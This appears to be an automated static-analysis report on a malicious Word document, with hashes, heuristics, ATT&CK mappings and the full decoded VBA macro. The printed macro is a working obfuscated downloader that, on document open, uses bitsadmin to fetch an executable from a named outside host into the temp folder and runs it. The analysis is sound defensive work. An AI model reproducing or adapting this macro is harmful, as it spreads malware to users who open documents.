Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8f629ff65502721d…

MALICIOUS

Office (OLE)

167.0 KB Created: 2019-02-11 13:42:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: d4a1a635eeb3bea55c96503147c4b7f0 SHA-1: 0c5b7eeb03fb9c3452354a3e9c0bcfe7444d5cd3 SHA-256: 8f629ff65502721de9052646ce9aecc082bebfce03ba70e333375365e981e1ee
338 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a Document_Open macro that is heavily obfuscated. It reconstructs a URL to 'http://halobitanbd.com/css/Appleinc.exe' and a local filename 'filename.exe'. The macro then uses WScript.Shell to execute a command that downloads the payload and saves it to a file, likely in the user's startup folder, before attempting to execute it. This indicates a downloader or droppper functionality.

Heuristics 10

  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (trfutyjnih)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set yuijtrhb = CreateObject("WScript.Shell")
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set yuijtrhb = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set yuijtrhb = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    trfutyjnih = Environ$(Replace("taaampaaa", "aaa", "")) & "\" & Replace("\filenameabc", "abc", ".exe")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1085 bytes
SHA-256: 4a49fec4e1cfc85fdf022a6fff172a9beb498f2443ba79947cb84f66c0bdfea3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()

dfgfdgfg

End Sub

Sub dfgfdgfg()

fgthdfggffghgf = Replace(("hhhalobitanbd.com/css/Apple%20incabc"), "abc", ".exe")

gggg = Replace(fgthdfggffghgf, "hhh", "http://")

Set yuijtrhb = CreateObject("WScript.Shell")

trfutyjnih = Environ$(Replace("taaampaaa", "aaa", "")) & "\" & Replace("\filenameabc", "abc", ".exe")

yuijtrhb.Run Replace(("abcbitsabcadmin /transabcfer myFabcile /downlabcoad /priorabcity norabcmal "), "abc", "") & gggg & " " & trfutyjnih, Replace("050", "50", ""), Replace("Fa50lse", "50", "")

rthybfhd (60)

Shell (trfutyjnih)

End Sub

Sub rthybfhd(sec)

    Dim temp

    temp = Timer

    Do While Timer - temp < sec

    Loop

End Sub

Attribute VB_Name = "NewMacros"
Sub my()
'
' my Macro
'
'

End Sub